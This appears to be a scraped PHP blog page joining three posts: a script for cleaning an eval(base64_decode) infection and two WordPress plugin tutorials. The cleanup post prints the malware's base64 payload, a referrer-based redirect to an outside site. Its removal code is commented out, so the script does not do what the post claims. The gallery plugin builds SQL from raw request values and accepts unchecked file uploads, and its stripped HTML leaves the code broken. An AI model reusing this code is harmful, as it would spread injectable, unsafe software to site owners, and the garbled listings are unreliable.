Remove eval(base64_decode) virus from your server or from website site

Given code below will remove this eval(base64_decode) virus from your website or server you have to save the file by name

list_files.php

and run the file on your server it display all the directory file when you run after successful run it remove the the given virus from site

Please check the same code in $str available on your site if other kindly replace that or dont use.

function listdir($dir='.') { 
if (!is_dir($dir)) { 
return false; 
} 

$files = array(); 
listdiraux($dir, $files); 

return $files; 
} 

function listdiraux($dir, &$files) { 
$handle = opendir($dir); 
while (($file = readdir($handle)) !== false) { 
if ($file == '.' || $file == '..') { 
continue; 
} 
$filepath = $dir == '.' ? $file : $dir . '/' . $file; 
if (is_link($filepath)) 
continue; 
if (is_file($filepath)) 
$files[] = $filepath; 
else if (is_dir($filepath)) 
listdiraux($filepath, $files); 
} 
closedir($handle); 
} 

$files = listdir('.'); 
sort($files, SORT_LOCALE_STRING); 

foreach ($files as $f) { 
echo $f, "
"; 
/*$file = $f; 
$str='eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vY29udGVudG8uYmVlLnBsLyIpOw0KZXhpdCgpOw0KfQ0KfQ0KfQ0KfQ=="));'; 
$rep =''; 
if($f == 'remove_in_dir.php' || $f == 'remove.php' || $f == 'list_files.php' ){}else 
{ 
$fh = fopen($file, 'r+'); 
if(filesize($file) == 0) {} else 
{ 
$contents = fread($fh, filesize($file)); 
$new_contents = str_replace($str, $rep, $contents); 
} 
fclose($fh); 

// Open file to write 
$fh = fopen($file, 'w+'); 
fwrite($fh, $new_contents); 
fclose($fh); 

}*/ 
} 
?> 

How to create a short plugin with short code

ob_start();

/*

Plugin Name:Plugin_PDF

Plugin URI: http://vikasbruce.blogspot.com/


Author: Vikas Gautam



*/


add_action('admin_menu', 'add_admin_panel');

function add_admin_panel(){

$icon_path = get_option('siteurl').'/wp-content/plugins/'.basename(dirname(__FILE__)).'/icon';

add_menu_page('Plugin_PDF', 'Plugin_PDF','read','my-plug','',$icon_path.'/icon.png');

add_submenu_page('my-plug', 'Plugin_PDF', '1st Submenu', 'read', 'my-plug','my_menu_default');

}

function my_menu_default()

{

echo "Hello Admin Section ";

}
function show_data()
{
echo "hello user Section ";

}
add_shortcode('Download', 'show_data');

?>


by plugin you can easily use the shortcode [Download]

to show the data any post or page

to ahow the data in template you can use
echo do_shortcode([Download]);

how to create a simle plugin in wodpress

this is th plugin for gallery first create a file --


/*

Plugin Name:Side Gallery

Plugin URI:

Description:

Author: Vikas Gautam


*/

include("side_function.php");

add_action('admin_menu', 'add_admin_panel');

function add_admin_panel(){

$icon_path = get_option('siteurl').'/wp-content/plugins/'.basename(dirname(__FILE__)).'/icon';

add_menu_page('Side Gallery', 'Side Gallery','read','my-plug','',$icon_path.'/icon.png');

add_submenu_page('my-plug', 'Side Gallery', '1st Submenu', 'read', 'my-plug','my_menu_default');

}

function my_menu_default(){?>



$sql=mysql_query("CREATE TABLE `td_sidebar_image` (

`id` int(100) NOT NULL AUTO_INCREMENT,

`image_name` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

`path` varchar(100) COLLATE utf8_unicode_ci NOT NULL,

PRIMARY KEY (`id`)

)");



Manage Side Bar Slider





/* Inserting Image*/


$image=new side_gallery;

$image1=$image->inser_image();


/* Inserting image End */


$image_data1=$image->Show_data();

?>




$count=1;

$i=0;

$j=0;

foreach($image_data1 as $image12)

{ $id=$image12['id'];

?>


echo "

".$count."
";?>




echo "

";
?>

if(isset($_POST[$i]))
{
if($_REQUEST['b'.$j])
{
$id12=$_REQUEST['b'.$j];
//echo $_REQUEST['b'.$j];
$image_delete=$image->delete_image($id12);

}
}
$i++;
$j++;
$count++;
}


?>




}


?>








After to handele function add this fiie side_function.php








class side_gallery

{

function inser_image()

{

if(isset($_POST['submit']))

{

$image=$_FILES["file"]["name"];

$path1="../wp-content/Sidebar_image/" . $_FILES["file"]["name"];

$upload_image=mysql_query("insert into td_sidebar_image (id,image_name,path) values('',' $image','$path1')");

echo "$sql";

echo " Record Inserted";

move_uploaded_file($_FILES["file"]["tmp_name"],

"../wp-content/Sidebar_image/" . $_FILES["file"]["name"]);

$path1="../wp-content/Sidebar_image/" . $_FILES["file"]["name"];

}

}


function Show_data()

{


$data=mysql_query("select * from td_sidebar_image");

while($data1=mysql_fetch_assoc($data))

{

$image_data[]=$data1;

//echo $data1['image_name'];

}

return $image_data;

}



function delete_image($id12)

{


$unlik_image=mysql_query("select * from td_sidebar_image where id=$id12");

$data12=mysql_fetch_assoc($unlik_image);

$rt=$data12['path'];


unlink($rt);




$delete=mysql_query("delete from td_sidebar_image where id=$id12");




if($delete)

{

echo "Record Deleted Successfully";

}


}


}


function plugin_side_gallery()

{


$sql=mysql_query("select * from td_sidebar_image");

while($data=mysql_fetch_assoc($sql))

{

$image_da[]=$data;

}

return $image_da;

}



?>